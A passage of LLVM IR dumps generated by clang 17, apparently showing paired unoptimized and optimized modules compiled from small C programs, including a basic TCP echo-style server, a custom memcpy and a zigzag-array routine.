%14 = call i32 @puts(ptr noundef @.str.4)
%15 = call i32 @puts(ptr noundef @.str.5)
%16 = call i32 @puts(ptr noundef @.str.6)
%17 = call i32 @puts(ptr noundef @.str.7)
%18 = call i32 @puts(ptr noundef @.str.8)
%19 = call i32 @puts(ptr noundef @.str.9)
%20 = call i32 @puts(ptr noundef @.str.10)
%21 = call i32 @puts(ptr noundef @.str.11)
%22 = call i32 @puts(ptr noundef @.str.12)
%23 = call i32 @puts(ptr noundef @.str.13)
%24 = call i32 @puts(ptr noundef @.str.14)
%25 = call i32 @puts(ptr noundef @.str.15)
%26 = call i32 @puts(ptr noundef @.str.16)
%27 = call i32 @puts(ptr noundef @.str.2)
%28 = call i32 @puts(ptr noundef @.str.17)
ret void
}
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @puts(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpuatda4jf.c'
source_filename = "/tmp/tmpuatda4jf.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpuatda4jf.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpk26kw5h5.c'
source_filename = "/tmp/tmpk26kw5h5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpk26kw5h5.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpicctsugm.c'
source_filename = "/tmp/tmpicctsugm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@RAND_MAX = dso_local global i64 0, align 8
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpicctsugm.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@RAND_MAX = dso_local global i64 0, align 8
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmppg0t_5yv.c'
source_filename = "/tmp/tmppg0t_5yv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@AF_INET = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [21 x i8] c"ERROR opening socket\00", align 1
@INADDR_ANY = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [17 x i8] c"ERROR on binding\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"ERROR on accept\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"ERROR reading from socket\00", align 1
@.str.4 = private unnamed_addr constant [21 x i8] c"Server received: %s\0A\00", align 1
@.str.5 = private unnamed_addr constant [13 x i8] c"Some message\00", align 1
@.str.6 = private unnamed_addr constant [24 x i8] c"ERROR writing to socket\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca [256 x i8], align 16
%10 = alloca %struct.sockaddr_in, align 4
%11 = alloca %struct.sockaddr_in, align 4
%12 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%13 = load i32, ptr @AF_INET, align 4
%14 = load i32, ptr @SOCK_STREAM, align 4
%15 = call i32 @socket(i32 noundef %13, i32 noundef %14, i32 noundef 0)
store i32 %15, ptr %6, align 4
%16 = load i32, ptr %6, align 4
%17 = icmp slt i32 %16, 0
br i1 %17, label %18, label %20
18: ; preds = %2
%19 = call i32 @error(ptr noundef @.str)
br label %20
20: ; preds = %18, %2
%21 = call i32 @bzero(ptr noundef %10, i32 noundef 12)
%22 = load i32, ptr @AF_INET, align 4
%23 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 2
store i32 %22, ptr %23, align 4
%24 = load i32, ptr @INADDR_ANY, align 4
%25 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 1
%26 = getelementptr inbounds %struct.TYPE_2__, ptr %25, i32 0, i32 0
store i32 %24, ptr %26, align 4
%27 = call i32 @htons(i32 noundef 1234)
%28 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 0
store i32 %27, ptr %28, align 4
%29 = load i32, ptr %6, align 4
%30 = call i64 @bind(i32 noundef %29, ptr noundef %10, i32 noundef 12)
%31 = icmp slt i64 %30, 0
br i1 %31, label %32, label %34
32: ; preds = %20
%33 = call i32 @error(ptr noundef @.str.1)
br label %34
34: ; preds = %32, %20
%35 = load i32, ptr %6, align 4
%36 = call i32 @listen(i32 noundef %35, i32 noundef 5)
store i32 12, ptr %8, align 4
%37 = load i32, ptr %6, align 4
%38 = call i32 @accept(i32 noundef %37, ptr noundef %11, ptr noundef %8)
store i32 %38, ptr %7, align 4
%39 = load i32, ptr %7, align 4
%40 = icmp slt i32 %39, 0
br i1 %40, label %41, label %43
41: ; preds = %34
%42 = call i32 @error(ptr noundef @.str.2)
br label %43
43: ; preds = %41, %34
%44 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%45 = call i32 @bzero(ptr noundef %44, i32 noundef 256)
%46 = load i32, ptr %7, align 4
%47 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%48 = call i32 @read(i32 noundef %46, ptr noundef %47, i32 noundef 255)
store i32 %48, ptr %12, align 4
%49 = load i32, ptr %12, align 4
%50 = icmp slt i32 %49, 0
br i1 %50, label %51, label %53
51: ; preds = %43
%52 = call i32 @error(ptr noundef @.str.3)
br label %53
53: ; preds = %51, %43
%54 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%55 = call i32 @printf(ptr noundef @.str.4, ptr noundef %54)
%56 = load i32, ptr %7, align 4
%57 = call i32 @write(i32 noundef %56, ptr noundef @.str.5, i32 noundef 12)
store i32 %57, ptr %12, align 4
%58 = load i32, ptr %12, align 4
%59 = icmp slt i32 %58, 0
br i1 %59, label %60, label %62
60: ; preds = %53
%61 = call i32 @error(ptr noundef @.str.6)
br label %62
62: ; preds = %60, %53
%63 = load i32, ptr %7, align 4
%64 = call i32 @close(i32 noundef %63)
%65 = load i32, ptr %6, align 4
%66 = call i32 @close(i32 noundef %65)
ret i32 0
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @error(ptr noundef) #1
declare i32 @bzero(ptr noundef, i32 noundef) #1
declare i32 @htons(i32 noundef) #1
declare i64 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @listen(i32 noundef, i32 noundef) #1
declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmppg0t_5yv.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@AF_INET = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [21 x i8] c"ERROR opening socket\00", align 1
@INADDR_ANY = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [17 x i8] c"ERROR on binding\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"ERROR on accept\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"ERROR reading from socket\00", align 1
@.str.4 = private unnamed_addr constant [21 x i8] c"Server received: %s\0A\00", align 1
@.str.5 = private unnamed_addr constant [13 x i8] c"Some message\00", align 1
@.str.6 = private unnamed_addr constant [24 x i8] c"ERROR writing to socket\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca [256 x i8], align 16
%10 = alloca %struct.sockaddr_in, align 4
%11 = alloca %struct.sockaddr_in, align 4
%12 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%13 = load i32, ptr @AF_INET, align 4
%14 = load i32, ptr @SOCK_STREAM, align 4
%15 = call i32 @socket(i32 noundef %13, i32 noundef %14, i32 noundef 0)
store i32 %15, ptr %6, align 4
%16 = load i32, ptr %6, align 4
%17 = icmp slt i32 %16, 0
br i1 %17, label %18, label %20
18: ; preds = %2
%19 = call i32 @error(ptr noundef @.str)
br label %20
20: ; preds = %18, %2
%21 = call i32 @bzero(ptr noundef %10, i32 noundef 12)
%22 = load i32, ptr @AF_INET, align 4
%23 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 2
store i32 %22, ptr %23, align 4
%24 = load i32, ptr @INADDR_ANY, align 4
%25 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 1
%26 = getelementptr inbounds %struct.TYPE_2__, ptr %25, i32 0, i32 0
store i32 %24, ptr %26, align 4
%27 = call i32 @htons(i32 noundef 1234)
%28 = getelementptr inbounds %struct.sockaddr_in, ptr %10, i32 0, i32 0
store i32 %27, ptr %28, align 4
%29 = load i32, ptr %6, align 4
%30 = call i64 @bind(i32 noundef %29, ptr noundef %10, i32 noundef 12)
%31 = icmp slt i64 %30, 0
br i1 %31, label %32, label %34
32: ; preds = %20
%33 = call i32 @error(ptr noundef @.str.1)
br label %34
34: ; preds = %32, %20
%35 = load i32, ptr %6, align 4
%36 = call i32 @listen(i32 noundef %35, i32 noundef 5)
store i32 12, ptr %8, align 4
%37 = load i32, ptr %6, align 4
%38 = call i32 @accept(i32 noundef %37, ptr noundef %11, ptr noundef %8)
store i32 %38, ptr %7, align 4
%39 = load i32, ptr %7, align 4
%40 = icmp slt i32 %39, 0
br i1 %40, label %41, label %43
41: ; preds = %34
%42 = call i32 @error(ptr noundef @.str.2)
br label %43
43: ; preds = %41, %34
%44 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%45 = call i32 @bzero(ptr noundef %44, i32 noundef 256)
%46 = load i32, ptr %7, align 4
%47 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%48 = call i32 @read(i32 noundef %46, ptr noundef %47, i32 noundef 255)
store i32 %48, ptr %12, align 4
%49 = load i32, ptr %12, align 4
%50 = icmp slt i32 %49, 0
br i1 %50, label %51, label %53
51: ; preds = %43
%52 = call i32 @error(ptr noundef @.str.3)
br label %53
53: ; preds = %51, %43
%54 = getelementptr inbounds [256 x i8], ptr %9, i64 0, i64 0
%55 = call i32 @printf(ptr noundef @.str.4, ptr noundef %54)
%56 = load i32, ptr %7, align 4
%57 = call i32 @write(i32 noundef %56, ptr noundef @.str.5, i32 noundef 12)
store i32 %57, ptr %12, align 4
%58 = load i32, ptr %12, align 4
%59 = icmp slt i32 %58, 0
br i1 %59, label %60, label %62
60: ; preds = %53
%61 = call i32 @error(ptr noundef @.str.6)
br label %62
62: ; preds = %60, %53
%63 = load i32, ptr %7, align 4
%64 = call i32 @close(i32 noundef %63)
%65 = load i32, ptr %6, align 4
%66 = call i32 @close(i32 noundef %65)
ret i32 0
}
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @error(ptr noundef) #1
declare i32 @bzero(ptr noundef, i32 noundef) #1
declare i32 @htons(i32 noundef) #1
declare i64 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @listen(i32 noundef, i32 noundef) #1
declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @printf(ptr noundef, ptr noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @close(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpg64idfbx.c'
source_filename = "/tmp/tmpg64idfbx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @memcpy(ptr noundef %0, ptr noundef %1, i16 noundef signext %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i16, align 2
%7 = alloca i16, align 2
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i16 %2, ptr %6, align 2
store i16 0, ptr %7, align 2
br label %8
8: ; preds = %24, %3
%9 = load i16, ptr %7, align 2
%10 = sext i16 %9 to i32
%11 = load i16, ptr %6, align 2
%12 = sext i16 %11 to i32
%13 = icmp slt i32 %10, %12
br i1 %13, label %14, label %27
14: ; preds = %8
%15 = load ptr, ptr %5, align 8
%16 = load i16, ptr %7, align 2
%17 = sext i16 %16 to i64
%18 = getelementptr inbounds i8, ptr %15, i64 %17
%19 = load i8, ptr %18, align 1
%20 = load ptr, ptr %4, align 8
%21 = load i16, ptr %7, align 2
%22 = sext i16 %21 to i64
%23 = getelementptr inbounds i8, ptr %20, i64 %22
store i8 %19, ptr %23, align 1
br label %24
24: ; preds = %14
%25 = load i16, ptr %7, align 2
%26 = add i16 %25, 1
store i16 %26, ptr %7, align 2
br label %8, !llvm.loop !6
27: ; preds = %8
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpg64idfbx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @memcpy(ptr noundef %0, ptr noundef %1, i16 noundef signext %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i16, align 2
%7 = alloca i16, align 2
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i16 %2, ptr %6, align 2
store i16 0, ptr %7, align 2
%8 = load i16, ptr %7, align 2
%9 = sext i16 %8 to i32
%10 = load i16, ptr %6, align 2
%11 = sext i16 %10 to i32
%12 = icmp slt i32 %9, %11
br i1 %12, label %.lr.ph, label %31
.lr.ph: ; preds = %3
br label %13
13: ; preds = %.lr.ph, %23
%14 = load ptr, ptr %5, align 8
%15 = load i16, ptr %7, align 2
%16 = sext i16 %15 to i64
%17 = getelementptr inbounds i8, ptr %14, i64 %16
%18 = load i8, ptr %17, align 1
%19 = load ptr, ptr %4, align 8
%20 = load i16, ptr %7, align 2
%21 = sext i16 %20 to i64
%22 = getelementptr inbounds i8, ptr %19, i64 %21
store i8 %18, ptr %22, align 1
br label %23
23: ; preds = %13
%24 = load i16, ptr %7, align 2
%25 = add i16 %24, 1
store i16 %25, ptr %7, align 2
%26 = load i16, ptr %7, align 2
%27 = sext i16 %26 to i32
%28 = load i16, ptr %6, align 2
%29 = sext i16 %28 to i32
%30 = icmp slt i32 %27, %29
br i1 %30, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %23
br label %31
31: ; preds = %._crit_edge, %3
ret void
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmphf90yifl.c'
source_filename = "/tmp/tmphf90yifl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmphf90yifl.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpkaw3qd7u.c'
source_filename = "/tmp/tmpkaw3qd7u.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [11 x i8] c"cnts 0 %d\0A\00", align 1
@.str.1 = private unnamed_addr constant [12 x i8] c"cnts2 0 %d\0A\00", align 1
@.str.2 = private unnamed_addr constant [14 x i8] c"cnts last %d\0A\00", align 1
@.str.3 = private unnamed_addr constant [15 x i8] c"cnts2 last %d\0A\00", align 1
@.str.4 = private unnamed_addr constant [9 x i8] c"cnts %d\0A\00", align 1
@.str.5 = private unnamed_addr constant [10 x i8] c"cnts2 %d\0A\00", align 1
@.str.6 = private unnamed_addr constant [18 x i8] c"cnts %d cnts2 %d\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @movesToMakeZigzag(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %7, align 4
br label %10
10: ; preds = %287, %2
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %4, align 4
%13 = icmp slt i32 %11, %12
br i1 %13, label %14, label %290
14: ; preds = %10
%15 = load i32, ptr %7, align 4
%16 = icmp eq i32 %15, 0
br i1 %16, label %17, label %38
17: ; preds = %14
%18 = load ptr, ptr %3, align 8
%19 = getelementptr inbounds i32, ptr %18, i64 0
%20 = load i32, ptr %19, align 4
%21 = load ptr, ptr %3, align 8
%22 = getelementptr inbounds i32, ptr %21, i64 1
%23 = load i32, ptr %22, align 4
%24 = icmp sle i32 %20, %23
br i1 %24, label %25, label %38
25: ; preds = %17
%26 = load ptr, ptr %3, align 8
%27 = getelementptr inbounds i32, ptr %26, i64 1
%28 = load i32, ptr %27, align 4
%29 = load ptr, ptr %3, align 8
%30 = getelementptr inbounds i32, ptr %29, i64 0
%31 = load i32, ptr %30, align 4
%32 = sub nsw i32 %28, %31
%33 = add nsw i32 %32, 1
%34 = load i32, ptr %5, align 4
%35 = add nsw i32 %34, %33
store i32 %35, ptr %5, align 4
%36 = load i32, ptr %5, align 4
%37 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str, i32 noundef %36)
br label %38
38: ; preds = %25, %17, %14
%39 = load i32, ptr %7, align 4
%40 = icmp eq i32 %39, 0
br i1 %40, label %41, label %62
41: ; preds = %38
%42 = load ptr, ptr %3, align 8
%43 = getelementptr inbounds i32, ptr %42, i64 0
%44 = load i32, ptr %43, align 4
%45 = load ptr, ptr %3, align 8
%46 = getelementptr inbounds i32, ptr %45, i64 1
%47 = load i32, ptr %46, align 4
%48 = icmp sge i32 %44, %47
br i1 %48, label %49, label %62
49: ; preds = %41
%50 = load ptr, ptr %3, align 8
%51 = getelementptr inbounds i32, ptr %50, i64 0
%52 = load i32, ptr %51, align 4
%53 = load ptr, ptr %3, align 8
%54 = getelementptr inbounds i32, ptr %53, i64 1
%55 = load i32, ptr %54, align 4
%56 = sub nsw i32 %52, %55
%57 = add nsw i32 %56, 1
%58 = load i32, ptr %6, align 4
%59 = add nsw i32 %58, %57
store i32 %59, ptr %6, align 4
%60 = load i32, ptr %6, align 4
%61 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.1, i32 noundef %60)
br label %62
62: ; preds = %49, %41, %38
%63 = load i32, ptr %7, align 4
%64 = load i32, ptr %4, align 4
%65 = sub nsw i32 %64, 1
%66 = icmp eq i32 %63, %65
br i1 %66, label %67, label %98
67: ; preds = %62
%68 = load ptr, ptr %3, align 8
%69 = load i32, ptr %7, align 4
%70 = sext i32 %69 to i64
%71 = getelementptr inbounds i32, ptr %68, i64 %70
%72 = load i32, ptr %71, align 4
%73 = load ptr, ptr %3, align 8
%74 = load i32, ptr %7, align 4
%75 = sub nsw i32 %74, 1
%76 = sext i32 %75 to i64
%77 = getelementptr inbounds i32, ptr %73, i64 %76
%78 = load i32, ptr %77, align 4
%79 = icmp sle i32 %72, %78
br i1 %79, label %80, label %98
80: ; preds = %67
%81 = load ptr, ptr %3, align 8
%82 = load i32, ptr %7, align 4
%83 = sub nsw i32 %82, 1
%84 = sext i32 %83 to i64
%85 = getelementptr inbounds i32, ptr %81, i64 %84
%86 = load i32, ptr %85, align 4
%87 = load ptr, ptr %3, align 8
%88 = load i32, ptr %7, align 4
%89 = sext i32 %88 to i64
%90 = getelementptr inbounds i32, ptr %87, i64 %89
%91 = load i32, ptr %90, align 4
%92 = sub nsw i32 %86, %91
%93 = add nsw i32 %92, 1
%94 = load i32, ptr %5, align 4
%95 = add nsw i32 %94, %93
store i32 %95, ptr %5, align 4
%96 = load i32, ptr %5, align 4
%97 = call i32 (ptr, i32, ...) @printf(ptr noundef @.str.2, i32 noundef %96)
br label %98
98: ; preds = %80, %67, %62
%99 = load i32, ptr %7, align 4
%100 = load i32, ptr %4, align 4
%101 = sub nsw i32 %100, 1
%102 = icmp eq i32 %99, %101
br i1 %102, label %103, label %134
103: ; preds = %98
%104 = load ptr, ptr %3, align 8
%105 = load i32, ptr %7, align 4
%106 = sext i32 %105 to i64
%107 = getelementptr inbounds i32, ptr %104, i64 %106
%108 = load i32, ptr %107, align 4
%109 = load ptr, ptr %3, align 8
%110 = load i32, ptr %7, align 4
%111 = sub nsw i32 %110, 1
%112 = sext i32 %111 to i64
%113 = getelementptr inbounds i32, ptr %109, i64 %112
%114 = load i32, ptr %113, align 4
%115 = icmp sge i32 %108, %114
br i1 %115, label %116, label %134
116: ; preds = %103
%117 = load ptr, ptr %3, align 8
%118 = load i32, ptr %7, align 4
%119 = sext i32 %118 to i64
%120 = getelementptr inbounds i32, ptr %117, i64 %119
%121 = load i32, ptr %120, align 4
%122 = load ptr, ptr %3, align 8
%123 = load i32, ptr %7, align 4
